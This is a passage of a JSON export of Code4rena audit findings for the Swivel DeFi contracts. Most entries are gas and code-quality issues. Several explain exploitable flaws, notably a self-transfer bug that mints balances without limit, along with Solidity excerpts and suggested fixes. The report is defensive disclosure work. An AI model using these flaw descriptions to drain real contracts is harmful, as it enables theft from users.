["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-swivel-findings", "body": "Caching state variables in local/memory variables avoids SLOADs to save gas"}, {"title": "Missing input validation, threshold check, event and timelock in setFee function", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/108", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-09-swivel-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact The setFee onlyAdmin function sets the fee denominator but does not perform input validation to check that the fenominator index is between 0-3 which are the only valid values for [zcTokenInitiate, zcTokenExit, vaultInitiate, vaultExit]. The onlyAdmin function performs no threshold check on the new values, emits no event and immediately changes the fenominator value to any arbitrary value proposed by the admin. ## Proof of Concept https://github.com/Swivel-Finance/gost/blob/5fb7ad62f1f3a962c7bf5348560fe88de0618bae/test/swivel/Swivel.sol#L399-L405 https://github.com/Swivel-Finance/gost/blob/5fb7ad62f1f3a962c7bf5348560fe88de0618bae/test/swivel/Swivel.sol#L23-L24 https://github.com/Swivel-Finance/gost/blob/5fb7ad62f1f3a962c7bf5348560fe88de0618bae/test/swivel/Swivel.sol#L46 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Add input validation, threshold check, event and timelock "}, {"title": "Missing input validation & event in emergency blockWithdrawal could be risky", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/107", "labels": ["bug", "duplicate", "1 (Low Risk)"], "target": "2021-09-swivel-findings", "body": "Missing input validation & event in emergency blockWithdrawal could be risky"}, {"title": "Missing input validation on array length match", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/105", "labels": ["bug", "duplicate", "1 (Low Risk)"], "target": "2021-09-swivel-findings", "body": "Missing input validation on array length match"}, {"title": "Compact signatures not being supported could lead to DoS", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/104", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged", "sponsor confirmed"], "target": "2021-09-swivel-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact This implementation of Sig.sol doesn\u2019t support compact signature (EIP-2098), where signature length can be 64 bytes instead of 65, as supported in the widely used OpenZeppelin\u2019s ECDSA library. This lack of support could lead to DoS for users/clients that use compact signatures. ## Proof of Concept https://github.com/Swivel-Finance/gost/blob/5fb7ad62f1f3a962c7bf5348560fe88de0618bae/test/swivel/Sig.sol#L41 See https://github.com/OpenZeppelin/openzeppelin-contracts/blob/1b27c13096d6e4389d62e7b0766a1db53fbb3f1b/contracts/utils/cryptography/ECDSA.sol#L57 https://eips.ethereum.org/EIPS/eip-2098 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Consider adding support for compact signatures, use OZ ECDSA library or highlight in documentation about this lack of support for EIP-2098. "}, {"title": "Missing input validation may cause revert due to underflow", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/102", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-09-swivel-findings", "body": "Missing input validation may cause revert due to underflow"}, {"title": "Missing event & timelock for critical onlyAdmin functions", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/101", "labels": ["bug", "2 (Med Risk)"], "target": "2021-09-swivel-findings", "body": "Missing event & timelock for critical onlyAdmin functions"}, {"title": "Missing zero-address checks", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/100", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-swivel-findings", "body": "Missing zero-address checks"}, {"title": "Use of ecrecover is susceptible to signature malleability", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/99", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "disagree with severity"], "target": "2021-09-swivel-findings", "body": "Use of ecrecover is susceptible to signature malleability"}, {"title": "Static chainID could allow replay attacks on chain splits", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/98", "labels": ["bug", "duplicate", "1 (Low Risk)"], "target": "2021-09-swivel-findings", "body": "Static chainID could allow replay attacks on chain splits"}, {"title": "Previously created markets can be overwritten", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/97", "labels": ["bug", "duplicate", "2 (Med Risk)"], "target": "2021-09-swivel-findings", "body": "Previously created markets can be overwritten"}, {"title": "Missing event and timelock for setSwivelAddress", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/96", "labels": ["bug", "duplicate", "1 (Low Risk)"], "target": "2021-09-swivel-findings", "body": "Missing event and timelock for setSwivelAddress"}, {"title": "Admin is a single-point of failure without any mitigations", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/95", "labels": ["bug", "duplicate", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-09-swivel-findings", "body": "Admin is a single-point of failure without any mitigations"}, {"title": "Missing guarded launch", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/94", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged", "disagree with severity"], "target": "2021-09-swivel-findings", "body": "Missing guarded launch"}, {"title": "Abstract contracts should really be interfaces", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/93", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-09-swivel-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Interfaces are not allowed to define any functions while abstract contracts can have a few defined functions (with at least one undefined function). Abstract contracts declared in the project should really be interfaces because they do not define any functions. Keeping them abstract is risky because they allow defining functions that may be mistakenly exposed in inherited contracts. Interfaces by design prevent this security risk. ## Proof of Concept https://github.com/Swivel-Finance/gost/blob/5fb7ad62f1f3a962c7bf5348560fe88de0618bae/test/swivel/Abstracts.sol#L5-L40 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Convert contracts that do not define any functions to interfaces. "}, {"title": "Different parameter used in while emitting event", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/90", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "disagree with severity"], "target": "2021-09-swivel-findings", "body": "# Handle JMukesh # Vulnerability details ## Impact In matureMarket(address u, uint256 m) function , different parameter is used in event emit Mature(u, m, block.timestamp, currentExchangeRate); maturity rate should before matured timestamp // event Mature(address indexed underlying, uint256 indexed maturity, uint256 maturityRate, uint256 matured); impact of this can be severe . This error may negatively impact off-chain tools that are monitoring events data ## Proof of Concept https://github.com/Swivel-Finance/gost/blob/5fb7ad62f1f3a962c7bf5348560fe88de0618bae/test/marketplace/MarketPlace.sol#L88 ## Tools Used manual review ## Recommended Mitigation Steps "}, {"title": "Gas: Approve `cToken` address only once for underlying", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/87", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-swivel-findings", "body": "# Handle cmichel # Vulnerability details The `Swivel` contract approves the `cToken` address whenever it wants to mint `cTokens` upon order fulfilment, see `initiateVaultFillingZcTokenInitiate`. It could just approve the `cToken` contract once for each market underlying it supports with the max value and save the approval call for each order fulfilment. "}, {"title": "Wrong yield computation upon maturity", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/85", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-09-swivel-findings", "body": "Wrong yield computation upon maturity"}, {"title": "Infinite mint by transferring nTokens to self", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/81", "labels": ["bug", "duplicate", "3 (High Risk)"], "target": "2021-09-swivel-findings", "body": "Infinite mint by transferring nTokens to self"}, {"title": "Lack of Pause Mechanism", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/76", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged", "sponsor disputed", "disagree with severity"], "target": "2021-09-swivel-findings", "body": "Lack of Pause Mechanism"}, {"title": "Potential Reentrancy when Initiating and Exiting Positions", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/75", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-09-swivel-findings", "body": "Potential Reentrancy when Initiating and Exiting Positions"}, {"title": "Swivel Markets are not Isolated", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/73", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-09-swivel-findings", "body": "Swivel Markets are not Isolated"}, {"title": "Missing Dev Comments", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/71", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-09-swivel-findings", "body": "# Handle leastwood # Vulnerability details ## Impact The `cTokenAddress()` getter function in `MarketPlace.sol` is missing relevant dev comments and appropriate matching syntax. `address a` does not correctly match the proper representation which is the underlying token, typically referenced as `address u`. ## Proof of Concept https://github.com/Swivel-Finance/gost/blob/v2/test/marketplace/MarketPlace.sol#L169-L171 ## Tools Used Manual code review ## Recommended Mitigation Steps Consider adding relevant dev comments and updating `address a` -> `address u` to better reflect its meaning. "}, {"title": "Gas Savings Upon Market Creation", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/70", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-swivel-findings", "body": "Gas Savings Upon Market Creation"}, {"title": "Lack of Proper Revert Messages", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/68", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-09-swivel-findings", "body": "Lack of Proper Revert Messages"}, {"title": "Open TODOs in Codebase", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/67", "labels": ["bug", "duplicate", "1 (Low Risk)"], "target": "2021-09-swivel-findings", "body": "# Handle pauliax # Vulnerability details ## Impact There are TODOs left in the code. While this does not cause any direct issue, it indicates a bad smell and uncertainty. In previous reports, such submissions were assigned a score of 'low' so I think it's a fair game to submit this as an issue here also. Reference: https://github.com/code-423n4/2021-09-swivel-findings/issues/67 https://github.com/code-423n4/2021-10-tempus-findings/issues/39 Also, there are some misleading comments, e.g.: ```solidity /// @notice Internal update function to price, cap, and pay funding. function update () public virtual returns ( ``` the comment says that function is internal but it is actually declared as public. ## Recommended Mitigation Steps Consider implementing or removing TODOs and updating misleading comments. "}, {"title": "transferNotionalFrom doesn't check from != to", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/65", "labels": ["bug", "duplicate", "3 (High Risk)", "sponsor confirmed"], "target": "2021-09-swivel-findings", "body": "# Handle gpersoon # Vulnerability details # Impact The function transferNotionalFrom of VaultTracker.sol uses temporary variables to store the balances. If the \"from\" and \"to\" address are the same then the balance of \"from\" is overwritten by the balance of \"to\". This means the balance of \"from\" and \"to\" are increased and no balances are decreased, effectively printing money. Note: transferNotionalFrom can be called via transferVaultNotional by everyone. ## Proof of Concept https://github.com/Swivel-Finance/gost/blob/v2/test/vaulttracker/VaultTracker.sol#L144-L196 function transferNotionalFrom(address f, address t, uint256 a) external onlyAdmin(admin) returns (bool) { Vault memory from = vaults[f]; Vault memory to = vaults[t]; ... vaults[f] = from; ... vaults[t] = to; // if f==t then this will overwrite vaults[f] https://github.com/Swivel-Finance/gost/blob/v2/test/marketplace/MarketPlace.sol#L234-L238 function transferVaultNotional(address u, uint256 m, address t, uint256 a) public returns (bool) { require(VaultTracker(markets[u][m].vaultAddr).transferNotionalFrom(msg.sender, t, a), 'vault transfer failed'); ## Tools Used ## Recommended Mitigation Steps Add something like the following: require (f != t,\"Same\"); "}, {"title": "Prevent underflow in require", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/62", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "sponsor disputed", "disagree with severity"], "target": "2021-09-swivel-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The contract Swivel.sol contains a few of the following requires: require(a <= (o.premium - filled[hash]), 'taker amount > available volume'); If \"o.premium\" happens to be smaller than \"filled[hash]\", a revert will occur at \"o.premium - filled[hash]\" and no error message will be displayed. Also note the statements use slightly different syntax with the parentheses. ## Proof of Concept Swivel.sol: require(a <= (o.premium - filled[hash]), 'taker amount > available volume'); Swivel.sol: require((a <= o.principal - filled[hash]), 'taker amount > available volume'); // slightly different syntax Swivel.sol: require(a <= ((o.principal - filled[hash])), 'taker amount > available volume'); // slightly different syntax Swivel.sol: require(a <= (o.premium - filled[hash]), 'taker amount > available volume'); Swivel.sol: require(a <= (o.premium - filled[hash]), 'taker amount > available volume'); Swivel.sol: require(a <= (o.principal - filled[hash]), 'taker amount > available volume'); Swivel.sol: require(a <= (o.principal - filled[hash]), 'taker amount > available volume'); Swivel.sol: require(a <= (o.premium - filled[hash]), 'taker amount > available volume'); ## Tools Used ## Recommended Mitigation Steps replace require(a <= (o.xxxx - filled[hash]), 'taker amount > available volume'); with require( (a + filled[hash]) <= o.xxxx), 'taker amount > available volume'); Use the same parentheses structure everywhere. "}, {"title": "return value of 0 from ecrecover not checked", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/61", "labels": ["bug", "duplicate", "3 (High Risk)"], "target": "2021-09-swivel-findings", "body": "return value of 0 from ecrecover not checked"}, {"title": "Double Spending. No decreaseAllowance()/ IncreaseAllowance()", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/53", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged", "sponsor disputed"], "target": "2021-09-swivel-findings", "body": "Double Spending. No decreaseAllowance()/ IncreaseAllowance()"}, {"title": "Missing initial ownership event", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/49", "labels": ["bug", "0 (Non-critical)", "sponsor disputed", "disagree with severity"], "target": "2021-09-swivel-findings", "body": "Missing initial ownership event"}, {"title": "Sig.split function could be private instead internal.", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/44", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-swivel-findings", "body": "# Handle pants # Vulnerability details The Sig.split function (defined at Line 40 of Sig library) is called only inside the library. Thus function could be set as private. https://github.com/Swivel-Finance/gost/blob/v2/test/swivel/Sig.sol#L40 ## Recommended Mitigation Steps Make it private :) ## Tool Used Manual code review. "}, {"title": "Title: Double reading from calldata o", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/43", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "sponsor disputed"], "target": "2021-09-swivel-findings", "body": "# Handle pants # Vulnerability details At both line 59 and 61 the code reads o[i]. It happens inside a loop therefore the best practice which is more gas efficient is to cache o[i] once and use it instead. https://github.com/Swivel-Finance/gost/blob/v2/test/swivel/Swivel.sol#L59 ## Tool Used Manual code review. "}, {"title": "Complex state variable copied to memory in redeemZcToken (MarketPlace.sol)", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/41", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-09-swivel-findings", "body": "# Handle ye0lde # Vulnerability details ## Impact Operating on a copy of a state variable seems inefficient and confusing in this case. From a \"gas\" standpoint it's less efficient. And future changes could render the addresses in the copied struct invalid if functions being called in redeemZcToken operate on the original state variable. ## Proof of Concept The copy occurs here: https://github.com/Swivel-Finance/gost/blob/5fb7ad62f1f3a962c7bf5348560fe88de0618bae/test/marketplace/MarketPlace.sol#L123 The \"mkt\" variable is referenced here: https://github.com/Swivel-Finance/gost/blob/5fb7ad62f1f3a962c7bf5348560fe88de0618bae/test/marketplace/MarketPlace.sol#L131 ## Tools Used VS Code ## Recommended Mitigation Steps Remove line #123: https://github.com/Swivel-Finance/gost/blob/5fb7ad62f1f3a962c7bf5348560fe88de0618bae/test/marketplace/MarketPlace.sol#L123 Replace \"mkt\" with \"markets[u][m]\" in line #131 https://github.com/Swivel-Finance/gost/blob/5fb7ad62f1f3a962c7bf5348560fe88de0618bae/test/marketplace/MarketPlace.sol#L131 "}, {"title": "Swivel: Taker is charged fees twice in exitVaultFillingVaultInitiate", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/39", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-09-swivel-findings", "body": "# Handle itsmeSTYJ # Vulnerability details ## Impact Taker is charged fees twice in `exitVaultFillingVaultInitiate()` . Maker is transferring less than premiumFilled to taker and then taker is expected to pay fees i.e. taker's net balance is premiumFilled - 2*fee ## Recommended Mitigation Steps ```jsx function exitVaultFillingVaultInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { bytes32 hash = validOrderHash(o, c); require(a <= (o.principal - filled[hash]), 'taker amount > available volume'); filled[hash] += a; uint256 premiumFilled = (((a * 1e18) / o.principal) * o.premium) / 1e18; uint256 fee = ((premiumFilled * 1e18) / fenominator[3]) / 1e18; Erc20 uToken = Erc20(o.underlying); // transfer premium from maker to sender uToken.transferFrom(o.maker, msg.sender, premiumFilled); // transfer fee in underlying to swivel from sender uToken.transferFrom(msg.sender, address(this), fee); // transfer vault.notional (nTokens) from sender to maker require(MarketPlace(marketPlace).p2pVaultExchange(o.underlying, o.maturity, msg.sender, o.maker, a), 'vault exchange failed'); emit Exit(o.key, hash, o.maker, o.vault, o.exit, msg.sender, a, premiumFilled); } ``` "}, {"title": "Swivel: implementation for initiateZcTokenFillingZcTokenExit is incorrect", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/38", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-09-swivel-findings", "body": "# Handle itsmeSTYJ # Vulnerability details ## Impact In `initiateZcTokenFillingZcTokenExit()` , this comment `// transfer underlying tokens - the premium paid + fee in underlying to swivel (from sender)` is incorrect because you are actually transferring the underlying tokens - premium paid to the maker (from sender) AND you have to pay fee separately to swivel. initiateZCTokenFillingZcTokenExit means I want to sell my nTokens so that means `a` is the amount of principal I want to fill. Let's use a hypothetical example where I (taker) wants to fill 10 units of ZcTokenExit for maker. 1. I transfer 10 units of underlying to Swivel. The net balances are: me (-a), swivel (+a) 2. I transfer fee (in underlying) to Swivel. The net balances are: me (-a-fee), swivel (+a+fee) 3. Swivel initiates my position, sends me the ZcToken and sends Maker the nTokens 4. Maker pays me premiumFilled for the nTokens. The net balances are: me (-a-fee+premiumsFilled), swivel (+a+fee), maker (-premiumsFilled) 5. Maker closes position. The net balances are: me (-a-fee+premiumsFilled), swivel (+fee), maker (-premiumsFilled+a) So effectively, I (taker) should be paying a-premium to maker and fee to swivel. ## Recommended Mitigation Steps ```jsx function initiateZcTokenFillingZcTokenExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { bytes32 hash = validOrderHash(o, c); require(a <= o.principal - filled[hash]), 'taker amount > available volume'); // Note: you don't need to wrap these in brackets because if you look at the https://docs.soliditylang.org/en/latest/cheatsheet.html#order-of-precedence-of-operators, subtraction will always go before comparison filled[hash] += a; uint256 premiumFilled = (((a * 1e18) / o.principal) * o.premium) / 1e18; uint256 fee = ((premiumFilled * 1e18) / fenominator[0]) / 1e18; // transfer underlying tokens - the premium paid in underlying to maker (from sender) Erc20(o.underlying).transferFrom(msg.sender, o.maker, a - premiumFilled); Erc20(o.underlying).transferFrom(msg.sender, swivel, fee); // transfer zcTokens between users in marketplace require(MarketPlace(marketPlace).p2pZcTokenExchange(o.underlying, o.maturity, o.maker, msg.sender, a), 'zcToken exchange failed'); emit Initiate(o.key, hash, o.maker, o.vault, o.exit, msg.sender, a, premiumFilled); } ``` "}, {"title": "Swivel: Implement check effect interaction to align with best practices", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/37", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-09-swivel-findings", "body": "# Handle itsmeSTYJ # Vulnerability details ## Impact There is no impact to the funds but to align with [best practices]([https://fravoll.github.io/solidity-patterns/checks_effects_interactions.html](https://fravoll.github.io/solidity-patterns/checks_effects_interactions.html)), it is always better to update internal state before any external function calls. ## Recommended Mitigation Steps For functions `exitVaultFillingZcTokenExit()` and `exitZcTokenFillingVaultExit()`, you should do `mPlace.custodialExit(...)` to update the internal accounting before transferring the tokens out. "}, {"title": "Swivel: Incorrect dev comments for the 4 initiate functions", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/35", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-09-swivel-findings", "body": "# Handle itsmeSTYJ # Vulnerability details ## Impact Misleading comments ## Recommended Mitigation Steps For these 4 functions, it should say \"taker's init\" instead of \"taker's exit\" "}, {"title": "VaultTracker.sol: init sVault.exchangeRate in constructor", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/31", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-swivel-findings", "body": "# Handle itsmeSTYJ # Vulnerability details ## Impact Gas optimisation. In the function `transferNotionalFee()`, `sVault.exchangeRate` is only 0 for the very first time this function is called so the if check to see if `sVault.exchangeRate != 0` is only used once to handle this edge case. It makes more sense to set the exchangeRate when the vault is created and remove these if conditions. ## Recommended Mitigation Steps ```jsx constructor(uint256 m, address c, address s) { admin = msg.sender; maturity = m; cTokenAddr = c; swivel = s; uint256 exchangeRate = CErc20(cTokenAddr).exchangeRateCurrent(); vault[swivel] = Vault({ notional: 0, redeemable: 0, exchangeRate: exchangeRate }); } ... function transferNotionalFee(address f, uint256 a) external onlyAdmin(admin) returns(bool) { Vault memory oVault = vaults[f]; Vault memory sVault = vaults[swivel]; // remove notional from its owner oVault.notional -= a; uint256 exchangeRate = CErc20(cTokenAddr).exchangeRateCurrent(); uint256 yield; uint256 interest; // check if exchangeRate has been stored already this block. If not, calculate marginal interest + store exchangeRate if (sVault.exchangeRate != exchangeRate) { // if market has matured, calculate marginal interest between the maturity rate and previous position exchange rate // otherwise, calculate marginal exchange rate between current and previous exchange rate. if (matured) { // calculate marginal interest yield = ((maturityRate * 1e26) / sVault.exchangeRate) - 1e26; } else { yield = ((exchangeRate * 1e26) / sVault.exchangeRate) - 1e26; } interest = (yield * sVault.notional) / 1e26; sVault.redeemable += interest; sVault.exchangeRate = exchangeRate; } // add notional to swivel's vault sVault.notional += a; // store the adjusted vaults vaults[swivel] = sVault; vaults[f] = oVault; return true; } ``` "}, {"title": "VaultTracker.sol: pass in exchangeRate as a variable to matureVault()", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/30", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-swivel-findings", "body": "# Handle itsmeSTYJ # Vulnerability details ## Impact Since you are already querying the exchangeRate for the current block in `MarketPlace.matureMarket()` , might as well pass it along to `VaultTracker.sol` instead of querying it a second time. ## Recommended Mitigation Steps ```jsx // In VaultTracker.sol function matureVault(uint256 _maturityRate) external onlyAdmin(admin) returns (bool) { require(!matured, 'already matured'); require(block.timestamp >= maturity, 'maturity has not been reached'); matured = true; maturityRate = _maturityRate; return true; } ``` ```jsx // In MarketPlace.sol function matureMarket(address u, uint256 m) public returns (bool) { require(!mature[u][m], 'market already matured'); require(block.timestamp >= ZcToken(markets[u][m].zcTokenAddr).maturity(), \"maturity not reached\"); // set the base maturity cToken exchange rate at maturity to the current cToken exchange rate uint256 currentExchangeRate = CErc20(markets[u][m].cTokenAddr).exchangeRateCurrent(); maturityRate[u][m] = currentExchangeRate; // set the maturity state to true (for zcb market) mature[u][m] = true; // set vault \"matured\" to true require(VaultTracker(markets[u][m].vaultAddr).matureVault(currentExchangeRate), 'maturity not reached'); emit Mature(u, m, block.timestamp, currentExchangeRate); return true; } ``` "}, {"title": "MarketPlace.sol: Remove maturity from VaultTracker and ZcToken", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/29", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "sponsor confirmed"], "target": "2021-09-swivel-findings", "body": "# Handle itsmeSTYJ # Vulnerability details ## Impact You don't need to store maturity in `VaultTracker.sol` or `ZcToken.sol` because `mapping (address => mapping (uint256 => bool)) public mature;` should already cover it. This will help to remove unnecessary external calls and also reduce the number of maturity checks. ## Recommended Mitigation Steps ```jsx // In MarketPlace.sol function createMarket( address u, uint256 m, address c, string memory n, string memory s, uint8 d ) public onlyAdmin(admin) returns (bool) { require(swivel != address(0), 'swivel contract address not set'); // TODO can we live with the factory pattern here both bytecode size wise and CREATE opcode cost wise? address zctAddr = address(new ZcToken(u, n, s, d)); address vAddr = address(new VaultTracker(c, swivel)); markets[u][m] = Market(c, zctAddr, vAddr); emit Create(u, m, c, zctAddr, vAddr); return true; } ... function matureMarket(address u, uint256 m) public returns (bool) { require(block.timestamp >= m, \"maturity not reached\"); require(!mature[u][m], 'market already matured'); // set the base maturity cToken exchange rate at maturity to the current cToken exchange rate uint256 currentExchangeRate = CErc20(markets[u][m].cTokenAddr).exchangeRateCurrent(); maturityRate[u][m] = currentExchangeRate; // set the maturity state to true (for zcb market) mature[u][m] = true; // set vault \"matured\" to true require(VaultTracker(markets[u][m].vaultAddr).matureVault(), 'maturity not reached'); emit Mature(u, m, block.timestamp, currentExchangeRate); return true; } ``` ```jsx // In VaultTracker.sol ... // uint256 public immutable maturity; // deleted this ... constructor(address c, address s) { admin = msg.sender; cTokenAddr = c; swivel = s; } ... function matureVault() external onlyAdmin(admin) returns (bool) { matured = true; maturityRate = CErc20(cTokenAddr).exchangeRateCurrent(); return true; } ``` ```jsx // uint256 public immutable maturity; // deleted this ... constructor(address u, string memory n, string memory s, uint8 d) Erc2612(n, s, d) { admin = msg.sender; underlying = u; } ``` "}, {"title": "VaultTracker.sol: Gas optimisation for addNotional", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/28", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "sponsor disputed"], "target": "2021-09-swivel-findings", "body": "# Handle itsmeSTYJ # Vulnerability details ## Impact Gas op. Since vlt.notional has to be updated in both branches of the if check, you can take vlt.notional out of both branches and skip the else check. ## Recommended Mitigation Steps ```jsx function addNotional(address o, uint256 a) public onlyAdmin(admin) returns (bool) { uint256 exchangeRate = CErc20(cTokenAddr).exchangeRateCurrent(); Vault memory vlt = vaults[o]; if (vlt.notional > 0) { uint256 yield; uint256 interest; // if market has matured, calculate marginal interest between the maturity rate and previous position exchange rate // otherwise, calculate marginal exchange rate between current and previous exchange rate. if (matured) { // Calculate marginal interest yield = ((maturityRate * 1e26) / vlt.exchangeRate) - 1e26; } else { yield = ((exchangeRate * 1e26) / vlt.exchangeRate) - 1e26; } interest = (yield * vlt.notional) / 1e26; // add interest and amount to position, reset cToken exchange rate vlt.redeemable += interest; } vlt.notional += a; vlt.exchangeRate = exchangeRate; vaults[o] = vlt; return true; } ``` "}, {"title": "Use bytes32 rather than string/bytes", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/21", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-swivel-findings", "body": "# Handle defsec # Vulnerability details ## Impact If data can fit into 32 bytes, then you should use bytes32 datatype rather than bytes or strings as it is much cheaper in solidity. Basically, Any fixed size variable in solidity is cheaper than variable size. On the MarketPlace.sol contract, string memory variable can be replaced with bytes32 array. That will save gas on the contract. ## Proof of Concept 1. Navigate to \"https://github.com/Swivel-Finance/gost/blob/v2/test/marketplace/MarketPlace.sol\" contract. 2. Investigate createMarket function. n and s variables can be replaced with bytes32 variable. ``` function createMarket( address u, uint256 m, address c, string memory n, string memory s, uint8 d ) public onlyAdmin(admin) returns (bool) { require(swivel != address(0), 'swivel contract address not set'); // TODO can we live with the factory pattern here both bytecode size wise and CREATE opcode cost wise? address zctAddr = address(new ZcToken(u, m, n, s, d)); address vAddr = address(new VaultTracker(m, c, swivel)); markets[u][m] = Market(c, zctAddr, vAddr); emit Create(u, m, c, zctAddr, vAddr); return true; } ``` ## Tools Used None ## Recommended Mitigation Steps Consider to replace string variables with bytes32. That should be definitely cheaper. "}, {"title": "Return value of transferNotionalFee ignored", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/16", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-09-swivel-findings", "body": "Return value of transferNotionalFee ignored"}, {"title": "Array .length Used Directly In For Loops", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/15", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-swivel-findings", "body": "# Handle ye0lde # Vulnerability details ## Impact There is additional gas usage when an array's length value is used directly in a \"for\" loop. ## Proof of Concept The array's length value is used directly in a for loop here: https://github.com/Swivel-Finance/gost/blob/5fb7ad62f1f3a962c7bf5348560fe88de0618bae/test/swivel/Swivel.sol#L57 https://github.com/Swivel-Finance/gost/blob/5fb7ad62f1f3a962c7bf5348560fe88de0618bae/test/swivel/Swivel.sol#L211 ## Tools Used Visual Studio Code, Remix ## Recommended Mitigation Steps Change the loops above from: for (uint256 i=0; i < o.length; i++) to unit256 length = o.length; for (uint256 i=0; i < length; i++) When I tested these changes there was a small gas saving. "}, {"title": "createMarket function missing parameter description", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/3", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "disagree with severity"], "target": "2021-09-swivel-findings", "body": "# Handle loop # Vulnerability details the parameter `uint8 d` of the `createMarket` function is lacking a parameter description in function spec. ## Impact No direct impact, but with the parameter naming scheme of only using the first letter of its description the parameter spec is essential. ## Proof of Concept Code snippet for funciton spec + declaration: ``` /// @notice Allows the owner to create new markets /// @param u Underlying token address associated with the new market /// @param m Maturity timestamp of the new market /// @param c cToken address associated with underlying for the new market /// @param n Name of the new zcToken market /// @param s Symbol of the new zcToken market function createMarket( address u, uint256 m, address c, string memory n, string memory s, uint8 d ) public onlyAdmin(admin) returns (bool) ``` ## Recommended Mitigation Steps Add parameter spec for `uint8 d` "}, {"title": "Wrong parameter name used in function spec", "html_url": "https://github.com/code-423n4/2021-09-swivel-findings/issues/2", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "disagree with severity"], "target": "2021-09-swivel-findings", "body": "# Handle loop # Vulnerability details 